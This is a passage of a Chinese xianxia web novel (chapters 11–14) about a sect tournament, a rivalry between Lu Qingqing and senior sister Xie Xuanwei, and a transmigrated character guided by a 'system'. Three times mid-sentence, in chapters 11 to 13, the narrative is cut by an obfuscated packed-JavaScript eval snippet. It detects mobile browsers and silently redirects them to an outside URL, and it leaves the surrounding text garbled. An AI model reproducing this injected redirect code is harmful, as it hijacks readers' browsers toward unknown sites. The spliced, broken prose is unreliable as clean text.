“这人究竟是从哪里冒出来的?” “是啊,我也奇怪呢,除了那个整天作怪的陆青青,同门里没听说有什么奇葩人物啊?” “非也,谬也,请看天上。”他看准时机,在两人之间插话道。 见两人目光望来,他合拢折扇,以扇指天,道:“奇葩就在那处。” 谈话的两位女修彼此对视一眼,眼中意味明显,待要携手走开,那公子却挽留道:“两位师妹留步,你们要寻奇葩,且往天上看一看。” 一位女修回身,不耐烦道:“天上并无我们要寻之物。” 另一位女修却照他所言,狐疑地往天上望去。只见天穹低垂,一道黑云横亘于天际,似乎正在往青云台飘来。 乍看之下,不过是一道乌云因风而动罢了。可是偏巧此时,有一道龙影倏的在云层间一闪而过,留下一道模糊的鳞光残影。 霎时,那女修瞪大了双眼,一手指着那黑云,结结巴巴道:“那是——那是——” “宋亚,你同这种怪人干耗什么?”她的同伴不耐地扯她衣袖。 “不是……你看,那是什么?宋茗姐,是我走火入魔了么?我怎么看到天上有龙……” 闻言,那位名唤宋茗的女修,也不耐烦地往天上看去。 一看之下,她也愣住了。 只见黑云被硬生生撕开一道裂口,一道庞然身躯缓缓跃出,灵芒闪动间,本是清晓的青白苍穹,霎时间金光大盛,便如正午烈日悬空一般。 “谢师妹又遇上了新机缘,还是个不凡之物啊,不知师父他老人家知晓这物来历么?” 那白面公子若有所思地自言自语地一番,又转而对那两位女修笑眯眯道:“你们要寻的,这位御龙的谢师妹吧?她的确称得上千年难遇的一朵奇葩,你们瞧,如今,她又得了一头神兽相助,那飞得可是更更高了。” 半晌,他的话都无人回应。 过了一刻,回过神来的宋茗一脸呆滞地问:“什么……什么谢师妹?” “哦,错了。” 那公子拿扇子敲了敲额头,道:“是你们的谢师姐,谢玄微。宗门奇葩,谢玄微。” 宋亚和宋茗:? 11. 第 11 章 宋茗:“你……你敢辱骂谢师姐?” 白面公子哑然:“我何曾辱骂谢师妹了?” 在杂役院,奇葩一词正是骂人之语,平日里,两人常用此语来嘲讽陆青青。虽然这个词的本意,只是珍奇之物,是激赏之词。 宋茗不知这迂腐怪人的底细,一时也不愿同他解释,又仰头去望天。 她修为平平,根本看不到云层中谢玄微和陆青青的身影,目之所及,只有一点忽隐忽现的鳞甲闪动之光。 便在此间,那黑云已缓缓现形,正是蛟龙模样。 蛟首高昂,双角如玄玉雕琢,直指苍穹,鳞甲上金光浮动,灵气四溢,长长的蛟身蜿蜒盘旋,大有遮天蔽日之态。自高空下降之时,灵气也呼啸而下,瞬间笼罩了整个演武场上空。 到这时,场上所有修士都察觉到了异象。他们齐齐抬头望天,呆若木鸡,反应出奇的一致。 从高处俯瞰青云台,众修士便如虫蚁米粒般渺小,却也是数不尽的虫蚁米粒,不计其数。 正在龙背上的陆青青,望见此情此景,兴奋不已。 坐上那蛟龙背之前,她便料到定会有无数目光凝聚于自己,又生怕来得太早,人还未到齐,故而唆使谢玄微往别处玩了一会儿。却没想到,青云台上的人竟比她想象的还要多。 看来,她即将大出一场风头了! 一想到此,她便兴奋不已,连先前说错话给身后那女人听到的不快也忘却了。 她全然不知,身后之人正默默垂眸注视着她的一举一动,感应着她的欣悦,唇角轻浅上扬,漾出一抹温柔浅淡的笑意。 * 蛟龙缓缓下降,身形越发明晰。 就连廊宇之上的几位长老,也微微动容,纷纷自坐塌之上起身,目光深邃,追随着那蛟龙。耳目灵通的长老,自然也看见了蛟龙之上飘然如仙的身影。 一位青袍长老捋了捋胡须,开口道:“果然如灵音所言,她这徒儿天姿灵秀。这难得现世的玄渊灵蛟,竟甘愿做她的灵宠。” 另一位白袍长老微现讶然之色,问道:“你是说,此物便是千年前,引发数百个宗门相斗的上古灵兽,玄渊灵蛟?” “正是。我在上古卷轴中见过此物画像。” 那白袍长老默然片刻,面上的讶然之色,缓缓转为忧虑。 青云台上的修士们却不知此物来历,只是议论纷纷道:“那是传说中的飞龙么?” “我……我从未见过真龙?秘卷中所绘之龙,竟是如此么?” 有人面现惧色,一手暗暗结印,道:“会不会是万魔渊来的魔物化作龙形,快去告知长老。” “断不会如此,清音宗结界是掌门所设,魔物焉敢闯入!” “这倒奇了,这龙究竟是从而何来?” 话音纷乱间,蛟龙徐徐而落。 这时候,修士中才终于有人看到了,蛟龙之上,迫不及待地朝众人挥手的陆青青。 “快看,那龙身上有人!” 眼见有人朝这边指来,陆青青急急地拍着那蛟龙的鳞甲,道:“小蛇,你快变小些,好教他们都能瞧见我。” 蛟龙在少女的巴掌拍击下,竟生出一脸生无可恋的萎靡之色。 一路上,它已然受了无数磋磨。 从凡尘地界离开来此的路上,陆青青可一点都没闲着。一会儿要去云中玩,一会儿又要飞到鬼蜮看看,一会儿又突发奇想,想去清音宗北面的东海一观。 本来只需一两个起落的路程,在她的指挥下,生生延宕至一刻之久。 蛟龙委屈,蛟龙心里苦,它本不愿听从的,可偏偏它能感知主人的心绪,对于这些无理要求,主人尽皆全收,甚至纵容那少女将他这上古灵兽当成马车驾驶。 刚满六百岁的蛟龙明明还是个宝宝,就被这刁蛮少女欺负上了。为了主人,它勉强忍辱负重,唯一不能忍的是,那少女竟将它堂堂上古灵兽玄渊灵蛟直呼为小蛇,简直无礼至极啊无礼至极! ——蛟龙如果会说话,就会把如上这么一大篇喷到陆青青脸上。 还好,它不会说,思绪也没那么丰富,侥幸免去了和陆青青的一场口角大战。 蛟龙渐渐下落,身形也随之节节变小,如此一来,底下的人便也能清楚地认出,那龙背上的两道身影了。 一名执事弟子身着青衫,手持名册,看清两道身影时,神色间满是惊愕,连手中的名册都险些滑落。 “那是……谢师姐?是谢师姐在御龙而飞!” “原来是谢师姐和上古神兽啊,那没事了,刚刚真吓坏我了。” “是,有谢师姐在,魔物来了也不怕。” “本来看那龙还有点害怕,可看到谢师姐在龙身上,我就不觉那龙可怕了。” “谢师姐太厉害了!我就说,谢师姐怎么会被禁足,定是在思过崖修行悟道,静候天赐机缘。那些个小人偏说谢师姐是犯了戒律在思过崖禁足,真是些嚼舌根的恶毒之人!” 这时,有人质疑道:“真奇怪,谢师姐明明和我们一样,修的是玄门道法,并非御兽之道,便是得了机缘,怎的却是一头神龙呢?” 立刻便有人驳斥道:“谢师姐是天才,是生来便得天道偏爱的宠儿,得什么机缘,都是理所应当,如何奇怪了?” “就是,谢师姐极品双灵根,不说宗门内的,便是修仙界,又有几人能有?区区御兽之道,还不是一学就会?” “谢师姐这般的人,身怀双灵根,修炼比常人快,本来就应当是奇遇机缘不断,怎可用我们这般平庸之辈的资质来推断?” “是啊,天之骄女,就该迥异于我们这些凡夫俗子。说一句公道话,谢师姐若是不得天道机缘,那时我才要感慨那天道不公呢。你们想想,若是谢师姐这般天才也如此不得志,那世上庸庸碌碌的修士,还修行个什么劲儿呢?” 众人七嘴八舌,有理有据,直将那质疑之人骂成了个鹌鹑,那人只得连连道歉,随后又急忙转换话头道:“你们瞧,那龙身上是不是还有个人?” 此时灵蛇距地面只有丈许,陆青青升阶后,耳目愈发清明,自然也听到了这些议论。不必说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537240|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这质疑之人看到她之前,她早在心里暗暗恼恨了五十回。 为什么这些人就只看到谢玄微,明明她还在谢玄微前头,坐在龙身更为显眼之处啊。 为什么,大家都像看不到她似的,只一个劲儿地吹捧谢玄微呢? 天道不公,人心不公! 但当那质疑之人话音落下之时,众人的目光便自然而然地来到了她身上。 仰望的目光,其中有审视,似乎也有几缕艳羡。 陆青青心里立时得意起来。她微微挺直腰背,故意抬高了下巴,端起架子,作出清高自傲之态。 忽然间,她怔住了,只觉这一套举止有些熟悉。 哦——不就是谢玄微那女人常在人前摆出来的模样么?她怎么会学她?呸呸!可恶! 她立时抹去了这副神态,脸上重现一路来时的雀跃。为了彻底摆脱方才的模仿,她还大大咧咧地拢起双手,对着仰望她的人大喊道:“我是陆青青!清音宗弟子陆青青!今日宗门大比,我也会上场!” 底下的人群有一瞬的寂静。 而后,一人迷惑地问道:“谁啊?” “不认识。” “是新入门的杂役吧,瞧着年纪尚小。” “嗓门倒挺大的,音色不错,模样也好。”有人调笑道,而后便有人跟着哄笑起来。 陆青青:! 陆青青气急败坏,险些从蛟龙身上跌下来,还好,一双手在背后扶住了她。 可她心里满是恼恨,便装作不知,连道谢的话也未说。 一息过后,蛟龙也落了地,眨眼便化作小蛇,藏入了谢玄微衣袖内。 陆青青勉强对谢玄微敷衍了一句:“多谢师姐送我。”随后不待她回应,头也不回地跑开了。 她跑得也是及时,下一息,谢玄微这边,已给围堵了个严严实实密不透风。 “恭喜大师姐。大师姐果然是我辈楷模!” “恭喜大师姐又得机缘!” “大师姐,那神兽唤作何名?” “大师姐将那神兽放置于何处?是乾坤袋内么?” …… 谢玄微并未答话,只是越过群修,静静地望着少女远去的背影,直到那身影消失不见,她才转首,对着众人微一颔首,而后挥袖敛衣。 众人皆知,这个动作是要大家让开道的意思。他们自然不敢不从,自觉地散开一条道来。 待谢玄微离去之后,有位女修忽然捂着心口大叫一声。 众人仍追随着谢玄微的背影,满脸的钦慕与敬畏,无人理会于她。 她却兀自握拳在心口,连声激动大叫:“谢师姐看了我一眼,谢师姐看我了!谢师姐……看我了啊……”说完,忽的软软倒地,竟是晕厥过去了。 这时,众修士才觉察到不对,忙七手八脚地扶起她,设法将她唤醒。 哪想,她醒来后,只唤了一句“谢师姐”便又昏了过去。 “哼,一群跳梁小丑!” 不远处的僻静角落里,一位年轻男修恶狠狠地唾了一句。 12. 第 12 章 他身旁还立着位中年男修,面色沉郁,印堂发暗,此时缓缓开口道:“看来,我教你做的事,你一件也没办好。” 闻言,那年轻男修脸色一白,道:“兄长,我确是依照兄长吩咐,收买了几个爱嚼舌的杂役,叫他们在各处散播姓谢的犯戒律的事情。可——可不知怎的,传到中途竟……竟变了样。有人说……说……” 见中年男修面色未变,他又小心地续道:“有人说,其中是有阴谋,是有人陷害姓谢的。还有人说,定是长老要教授她什么高深功法,教她去思过崖闭关修行……” “笑话,真是笑话!” 年轻男修诺诺应是,“是笑话,是蠢人的笑话,我听了也觉得可笑,便……便没有叨扰兄长耳目。” “蠢货!” “是,兄长说得是,他们就是一群蠢货!不辨黑白,净会跟风——”年轻修士咬牙切齿地骂道。 中年男修打断他,“我说的是你。我交待给你的要紧事,是这个吗?” 年轻修士微现惶惑之色:“思过崖那边的桥索,我确是办了啊,只是那桥索不知是何神物结成,那姓谢的又突然从崖洞出来,我险些给撞见,便只做到一半。” 年轻修士定定神,又道:“兄长,你也瞧见了,她是乘龙来的,便是桥索断了,她也自能飞来,我事先也不知她能得这种灵兽。莫非我们消息有误,她果真是……是去闭关修行的?这灵兽,究竟是——是什么来头啊?” 中年修士盯着他,面色愈发不善。 这时,忽听一个声音道:“我刚查阅过上古秘卷,那神兽唤作玄渊灵蛟,百年现世,百年隐世。形有三变,可化形为龙,为蛇,为蟒,确非凡物。” 年轻修士一惊,忙往那声音来处看去,却见是不远处,一位白面公子正对着两位女修在说话,那两位女修闻他所言,互相看一眼,随即避瘟神似的快步走开了,只留下白面公子留在原地,摸着鼻子不知所措。 中年修士也瞥了那人一眼,慢慢地道:“慌什么?我设的消音结界,还没人能破。” 消音结界是一种仙门高阶修士常用的道法,设立好后,便如同一个遗世独立的小天地,结界内的声响,在外人听来,便如来自遥远天边,微不可闻。 年轻修士只喏喏不言。 中年男修深深地看了他一眼,直看得他埋下头去,才道:“罢了,你虽无用,但这回也不会坏事。我观她神色疲倦和周身灵气紊乱,明明是中毒之后强行用功,灵力耗散过多的迹象。此次她未必会登台。” 年轻修士连连应声,心里却想:可是她在那思过崖带着禁制,又中了毒,还能强行用功,又是为何呢?但他不敢再说,生怕再招来一顿骂。 这时,只见那白面公子走了过来,面带笑容,冲两人喊道:“石师兄!石师兄!你这结界当真结的不错!只见你双唇开合,却不闻一丝耳语啊。” 中年男修挥手散开结界,不冷不热地道:“宋兄。” 那白面公子几步上前,抱拳道:“幸会幸会。这位可是石师弟?不知何时入的门?青石宗果真是人才济济啊。” 中年男修并未回答,反问道:“宋兄唤我,有何事体?” 白面公子啊了一声,合拢折扇,语重心长道:“石兄,我远远观你面色发黑,印堂晦暗,今日恐有血光之灾啊。” 中年男修闻言,冷冷一笑,道:“不劳宋兄费心。” 白面公子摸摸鼻子,轻咳一声,道:“那我便——告辞了。” “不送。” 看着那人身影远去,先前一言不发的年轻男修问道:“兄长,此人是何人物啊?” “一个傻子,皇家天衍处来的,会些卜算一类的雕虫小技,没必要费心理会。” 年轻修士还欲再问,却觉肩上一沉。 那中年修士在他肩上重重拍了拍,道:“一陀,你还年轻,犯错也是常事。兄长并非有意责难,你不知兄长这些年的煎熬,那灵音长老偏心太过了,有什么好机缘总是先给她,我不得不小心提防。眼下当务之急,是今日大比,演武场上,你必要助我一展头角。” 说完,他从袖袋中取出一只瓷瓶,倒出一粒丹药,一口吞下,面上晦暗之色渐渐褪去,印堂处微现红光。 年轻修士知晓,那是丹药之效。青石宗立宗之本,便是丹药,所炼丹药,连年服用,可打通灵脉,增强修为,即便天资稍差者,亦能借此一飞冲天,道途坦荡。 但他只是旁支小脉,家穷无势,断没有资格服用。他被家族送来,只因灵根出众,可相助这位远房兄长修行,夺得清音宗首座大弟子之位。事成之后,或许方能得一枚丹药服用。 “是,兄长。”他恭谨地道。 * 陆青青在青云台转了几圈,未能寻到陆青辞。索性便也不再搜寻,绕着青云台缓缓踱步,一面暗自调息运气,为大比做准备;一面小心留意周遭修士们的谈话,想听听他们有没有谈到自己。 虽然风头被那坏女人给抢了,可毕竟她今日是乘龙而来的,总有眼尖的人会留意到她,记住她的模样吧。 可惜的是,世人总不肯如她愿。 竟没有一个人谈到她。 是的,连一个也没有。 陆青青暗自愤恨不已,深觉清音宗内的眼瞎之人实在太多了。 她这块身怀上品灵根,一日之内连升两阶的璞玉,竟没人能认得出来。 而那谢玄微,不过是在人前装样子,靠背后抢夺她机缘,得了些修为,这些人却都看不出来。 这时,只听有人道:“苏师兄,宗门大比,内门和外门是在一处同台竞技么?” 看那人模样,像是个初入门的小杂役。 那苏姓师兄回道:“内门和外门之间境界差距太大,同台竞技的话,那赢的只会是内门弟子,还有咱们这些外门杂役什么事儿?” 那小杂役道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537241|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可我听宋师姐说,上一回大比,咱们杂役院的陆青青,被打成重伤,摔下了青云台,摔成了……狗吃屎。”说到这三个字,他嘿嘿一笑,似乎是觉得极其有趣。 那苏师兄也笑了,道:“是宋亚说与你的吧?你才刚入门,宗门里多的是你不知道的事儿。那陆青青可不是给打伤的,是给吓跌的,哈哈,你说可笑不可笑?堂堂一个修士,却给同门吓晕了过去,说出去,怕是连凡人也要引以为乐……”说着,自己先就捧腹大笑了。 这人名曰苏文齐,入门日久,修为不高,与陆青青同是杂役弟子,却自觉资历老,该高人一等。而陆青青呢,素来谁都不放在眼里,又爱张扬炫耀,很容易得罪人,自然也刺伤过他的自尊。是以,他和大多数杂役弟子一样,厌恶陆青青。 往常,他无事还要和同门杂役聚在一起嘲弄陆青青一番。今日有新人问起,自然绘声绘色,添油加醋地把陆青青的窘事抖落了出来。 陆青青面色一沉,本来今日被抢风头,她就满心不快了,这人还要来寻晦气。 她慢慢地走过去,在手心里暗暗地聚起一股灵力,待时机到了,便要给他一个教训。 苏文齐忽然瞥见背着手,渐渐走近的陆青青,见她面色不虞,知晓来者不善,便收了口,不再说下去。 陆青青正要将手心灵气画一个跌倒符送出,忽觉有一阵风飘来。 她警觉地回头,只见近旁一个手持折扇的男修凑了过来。 那男修一边故作优雅地扇风,一边解释道:“非也非也,你们所论之事不尽属实。那日,是谢师妹觉醒了双灵根,灵力暴涨,震坏了青云台,才伤到了那位体弱的杂役弟子,并非那弟子胆小。玉音长老已重修了青云台。此次大比,内外门弟子远远隔开,各自设置了防护结界,如此,便不会有体弱的弟子摔倒而受伤了。” 那人这般解释本是好意,陆青青听了,面色越发暗沉,连带他一起恨上了。 这些人是专程来触她霉头的吗?一个个专找她过往的糗事来说,旁人怕是都忘了,可他偏要在此时提起,还要带上那谢玄微! 那人见她冷冷地望来,却也不恼,只是抬手摸了摸鼻子,脸上依旧笑眯眯的。 陆青青看了眼他手中的折扇,暗想,又是一个装模作样的人。大冷天的拿一把扇子,也不怕冷嘛。倒先把他作弄一番,再与那姓苏的计较。 她按下不快,微微一笑,一副纯然天真无邪的模样,开口道:“听说修到高处,不识寒暑,这位——” 那人立刻接口道:“在下宋时安。” “这位宋师兄便是如此境界吧,天凉之日,仍携了清凉扇在手。” 宋时安憨憨笑了笑,摸摸鼻子,道:“多谢陆师妹夸赞,我却担当不起。” 陆青青刚欲趁他不留神,朝他弹出跌倒符,听闻此言,倒慢慢收了回去。 这人竟认识她。看来,这宗门上下,总算有一个识货之人了! 13. 第 13 章(修) 有一个,便有第二个。真不容易,倒教她好找呢。 她喜从心起,面上的笑意自然也深了些。 “宋师兄称我为陆师妹,竟是认得我么?” 宋时安啊了一声,道:“我听方才那位小友话里有提到师妹的名讳。又见你立于此地,手心一团灵力暗藏,便猜你是——陆青青陆师妹吧?若是认错,还望勿怪啊。” 陆青青:愤怒值×2,杀心+100 宋时安见她忽喜忽怒,面色沉沉,虽不知缘故,但直觉将要挨揍,遂摸了摸鼻子,道了一句“有缘幸会师妹”,而后轻摇折扇,脚下生风似的,一溜烟溜远了。 陆青青看着他溜远,将他面貌暗暗记下,预备日后复仇。 回身,见苏文齐亦暗暗戒备,手心藏了点燃的符帖,凉凉地笑了笑,婉转道:“苏师兄,你可要小心了,待会儿在台上有幸碰到师兄,我定会教师兄亲身体会,什么叫做狗吃屎。” 苏文齐虽知晓她嘲弄人时,一贯如此阴阳做派,可是看她面带微笑,声音婉转,只觉她妩媚至极,心中不觉微微动了动,心想:这陆师妹人虽恶毒,生得却实在美丽,怪不得那位姓陆的总护着她。一时竟连那威胁也不觉得是威胁了。 陆青青可没工夫理会他这些杂念。她说完便走开了,同时暗暗下了决心,今日她陆青青定要一雪前耻。 这时,宋茗和宋亚正好走来,与她擦身而过。 两人见陆青青目不斜视,都略有些惊奇。她们皆听到了方才的风波,以为陆青青必定会发作一番,对她们怒目而视,谁想却连看也没看她们。 宋亚嘟囔道:“有什么得意的?不过是被谢师姐顺手救了,乘了一回谢师姐的神兽,便以为自己了不起了?” 陆青青和谢玄微一同从蛟龙上下来时,她们自然也看到了。初时她们都给惊呆了。陆青青,一个名不经传的小杂役,怎么会和宗门至高谢师姐同乘神兽?用脚趾头想也是不可思议啊。 于是,她们集思广益,收集分析陆青青昨日行动轨迹和任务路线,很快便推断出了一个令人信服的定论—— 陆青青昨夜在执事堂领了任务,往谢师姐处送饭,却被谢师姐的神兽吓昏了,一昏就昏了大半夜。谢师姐天仙般的人物,品行高贵,自然不会见死不救,是以才携她一同乘龙而来。 这个定论一刻间便在认识陆青青的杂役弟子中传开了。大家都认定,这便是真相了。 此事再一次证实了,谢师姐确实是品性高贵,虽已在天资和修为上一骑绝尘,却仍然菩萨心肠,心怀同门。 如此,便也能解释,何以之前,谢师姐给陆青青送衣裳和丹药。可不是陆青青有什么特别之处,攀上了谢师姐,而是谢师姐的品行特别特别的高贵。 宋茗道:“趾高气昂的,也不知道炫耀给谁看,倒惯会作怪。” 方才背后议论陆青青的那位苏文齐听了,忙凑上来道:“还是两位师妹看得透那陆青青。她修为平平,便是真对上了,也未必会赢我。以为自己多有能耐么?太狂妄了,待会儿上了台,且看我怎么收拾她!保管教她哭着求饶!” 不知为何,几人说话时,都放低了话音,是以陆青青并未听到。 不料那位宋时安却又骤然从旁现身,道:“修仙之道,自是谦虚为上。这位师弟,你也该谦虚些啊。再者,令美人哭泣求饶,可不是正派君子所为啊!” 还待说话的三人讪讪住了口。他们本来只是想一起骂一骂陆青青,谁想这人却过来搭话,还说些正人君子的大道理,教他们这些小人如何继续往下说呢? “宋师兄指教得是。”苏文齐喏喏地应声。 宋时安眨眼便又潇洒离去。他出现时突然,去的也突然,当真是来去匆匆,无形无影,又如影随形,叫人摸不着头脑。 这回,三人待那宋时安消失不见后,宋茗才问道:“你认得这位奇葩人物?” 苏文齐道:“我先前在执法堂领了个苦差事,见过这人。他名唤宋时安,是松音长老的弟子,我见他行止稀奇,便着人打听。听说二十多年前便入了门,不过天赋资质平平,境界止步于筑基初期。” 宋茗道:“筑基了?那也不差了。又是长老的弟子,那可比我们强多了。” 苏文齐撇撇嘴,似是不屑,道:“和我们这些杂役比是不差,可内门里,个个都是天才,入门十年便筑基的大有人在。再加上那些入门久、资历深的弟子,金丹也不是没有。他能入长老的青眼,靠的可不是天赋资质。” 宋亚好奇:“那他靠什么入门?” 她只知道,清音宗收徒,首要便是看灵根资质,便是别的宗门弟子前来求学,也要先测灵根,过了长老的眼方可入门。资质差的,哪怕你是他宗开山立派的祖师,照样得从杂役做起。 据说百年前便有一位宗门祖师,前来清音宗修行,因所修心法和本门相冲,故而只得下品灵根,入的便是杂役院。 苏文齐道:“背后有靠山呗。他是天衍处的人,天衍处和松音长老渊源匪浅,这才收了他做徒弟。” 宋茗听了,沉吟片刻,道:“天衍处?那不是皇家子弟的修行道场么?” “正是,那宋时安,就是皇室亲族,至于血脉多近,那可就不知了。” “皇室亲族?看着不像啊。而且,皇室亲族怎么也来修仙?”宋亚奇道。 宋茗道:“这你就没见识了。仙凡有别,凡人的寿元终究是有限的,一旦入了仙途,能不能飞升得道不说,至少在寿命上可比凡人长久多了。但凡稍有灵根天赋的,都盼着修仙呢。你没听过人间还有一句话流传,叫做‘不羡鸳鸯只羡仙’?” “是‘只羡鸳鸯不羡仙’啊。” 三人正谈的火热,不料身后忽的冒出来这一句,皆是吃了一惊。 待回身看清来人面目后,三人尴尬呆滞片刻,旋即便作了鸟兽散。 他们刚刚谈论的正主——宋时安立在原地,摸了摸鼻子。 这情形,怎么跟她在另一个世界里所受的待遇一模一样啊? 原来世界里是毫无存在感的工具人,穿越了还是工具人。走到哪里都是工具人,果然逃不开工具人的命运啊。 是的,宋时安是穿越者。为了救一个在马路上玩耍的熊孩子,她被送上了百米高空,再落下来时,就变成了一个熊孩子——还是一个换了性别的熊孩子。 她原来是个女人中的女人:身体是女人,心里装的也是女人,甚至连梦里都是女人,可现在却成了个男身。 虽说是个工具人,但命运倒也不必如此玩弄她吧。对于自己的身体,她还是很满意的,并不想转换性别。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537242|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但来都来了,再苦也得活下去。 幸运的是,她生在皇家,不幸的是,她是皇子。从小爹不疼娘不爱,兄弟姐妹把她害。好容易靠着工具人特有的“你看不见我,你看不见我”的金手指苟到了能加入了皇家道场——天衍处的七岁高龄,当了个道士,这才远离了步步惊心的皇室纷争。 生活安逸下来,她又找回了最初的梦想:想变回去啊。有办法吗?当然是有的。 在她八岁这年,脑海中一个声音——姑且称它为“系统”吧——说,她来此处的任务,是要寻到这个世界的天命之人,帮助此人完成救世。 宋时安懂了:“我就是那个助力者吧?助力天命之人完成他的命运之旅。那之后呢?可以回到原来的世界吗?” “当然可以,只是那个世界你是尸体,回去之后,你仍是尸体。” 宋时安不太想当尸体,她无父无母,无亲无故,当了尸体连个扫墓的人都没有。 “一定还有别的选择吧?” “留在当下的时空。” “那身体呢?能让我回到原身里去吗?作为我辛苦走剧情的奖励。”宋时安小心翼翼地问。 顶着这副身体,实在太难受了,那种东西,她真的不想要啊。 她倒不是有性别歧视,她只是想做回她自己罢了,最好再找个好女人,一起和和美美地生活下去。 “我会想办法为你复原。”系统说。 哦,原来系统也不是说一不二。这个奖励到底能不能兑现呢?先不管了。 “那我要去哪里寻找这个天命之人呢?” “无需寻找,时机一到,你们的命途自会交汇。” 啊,原来是靠命运的推动啊。 “那我要做什么准备呢?”宋时安又问。 系统说:“什么也不需要,你只需做你自己。你做的每一件事,都会自然而然成为天命之人的助力。” 哦。一个自然而然就会助力天命主角的存在,那不就是天选工具人嘛。这她可太懂了。 她在原来世界里就是一个工具人,走到哪里都没什么存在感。只是旁人说话时,她要插嘴,旁人便会立刻沉默下来,若无其事地走开。 就是这么一个非常容易被忽视的工具人。 今日也很好地完成了工具人的任务。完成了长老的嘱托,相看了一番清音宗弟子的所言所行。 她猛摇折扇,为自己加油:宋时安加油,宋时安棒棒。你很快就能找回原身,再找到一个爱你的好婆娘了! 忽听系统冷不丁地道:“这个我可没说。” 宋时安挣扎道:“给我一点希望不行吗?” 优雅的御姐音却吐出了最残忍的两个字:“不行。” 太残忍了呀。 过往那个世界里,她自认是个二十四孝好女友,可惜没有女人愿意体会她的孝心。别人都是刚成年就亲亲抱抱你侬我侬了,她呢?活了二十四载,还没有摸过女人的手——除了一个邻居大娘,还是人家摔倒了,她过去扶的时候不小心摸到的。当时她竟莫名其妙地想起了一本看过的小说,叫做《富婆邻居阿姨总在引诱我》。 不对不对,怎么会想起这个呢?离谱啊。 跑题了。打住打住。 快点击下一章,进入正题吧。 14. 第 14 章 天光骤亮,青云台上空响起声声丝竹之音,漫天灵光如火雨落下。 那是宗门长老的“万音同鸣”,以指尖一点灵力,轻抹丝弦,便有雷霆万钧之势,乃清音宗至高心法之一。 不一时,一条却足以让在场所有弟子心头震颤、热血翻涌的讯息便响彻青云台—— “辰时已至,宗门大比正式开启。” 清音宗内门心法高深奥妙,又艰险重重,非大成者不得入门,故而初阶弟子日常所学只是寻常的玄门道法。此次杂役弟子间的比试,考较的也并非深奥功法,而是对灵力的精微掌控。 登台比试者五人一组,场内决出的胜者,方能晋级下一组。每人左手中皆持有一枚燃着灵火的灵符,需以自身灵力护住灵符,同时,又要以术法、身法同他人周旋,伺机震灭他们手中的灵符火。谁能守到最后,灵符不灭,便是此场第一。 三年前,陆青青第一次参加宗门大比,在最后一场时,以一人对战三人,眼看便要获胜,却给谢玄微搅乱了。此次她上台前便往周遭细细察看过一回,倒并没发现这个头号大敌。 看来那姓宋的路人男修所言不虚。青云台的演武场,内门与外门是分开设置了结界。 既然心腹大患不在,那么凭她即将筑基的修为,此次大比必定大获全胜。 对上这些其他同门,陆青青从来都是手拿把掐,唯独对上谢玄微,她的谋划常常失算,那谢玄微就像她命中的克星一般,教她连连失手。好在今日,那谢玄微不在场。 她一路顺风顺水,不到半个时辰,便已连胜四场。 很快,便到了最后一场了,赢得这一场,她便是此次杂役弟子中的优胜者,有了进入内门的机会。 上场之前,她往台下放眼望去,再次确认了,演武场周遭,确是没有那谢玄微的身影。 此时此刻,她在台上游刃有余,眨眼便灭掉了一个对手的灵符。 还剩三个,其中有一个便是那个上台前便有了龃龉的苏文齐。 陆青青屏气凝神,指尖流转着细密灵力,层层裹住灵符,牢牢稳住火舌。身旁已有同门率先出手,她脚步轻挪,身姿灵动避开攻势,看似随意的一招声东击西,便随手灭了两个同门的灵符。 眼看,只剩那苏文齐了。 他年近四十,在杂役弟子中算是年长的,大家都尊称他一句苏师兄。 但他的修为着实担不得这句师兄,只有陆青青先前的境界——炼气七阶。 说来这人入门极早,天赋资质也不差,却不知怎的,修炼总是不行,临场也总是棋差一招。 此时见陆青青攻来,眼神变得飘忽不定,一脸慌张。 陆青青见了,扬起唇角,眼底满是轻蔑。 被谢玄微的灵力震翻摔下青云台,是她平生恨事,此人胆敢在背后传扬此事,实是可厌。 她有意教训他,教他在同门面前出个丑,从此再也不敢乱嚼她的舌根。遂只是左击一下,右击一下,赶的他在场中左支右绌,慌不择路,丑态百出,却总不肯一下子覆灭他掌中火。 常言道:人一旦得意张狂,便容易遭灾。 陆青青正耍得不亦乐乎间,一个再熟悉不过的名字传入耳中。 “谢……师姐!” “谢师姐来了。” 陆青青心中立时警兆狂鸣,这种时刻,这女人来了准没好事! 她急忙逼出一团灵气,一手朝苏文齐挥出。 那苏文齐却像是给她施了定身法似的,蓦地一动也不动了。 演武场的喧闹声骤然一丝也不闻,周遭变得缥缈虚幻,仿佛隔了千年的云雾。 有什么……不对。 陆青青茫然四顾。 演武场四面原本悬着巨大的铜镜,嵌以秘法淬炼过的镜面,能将台上的一招一式映在半空。 此时此刻,那镜中却只倒映着一个人的身影。 谢玄微。 一身玄衣的谢玄微。 一个没头没脑的念头忽的闪现—— 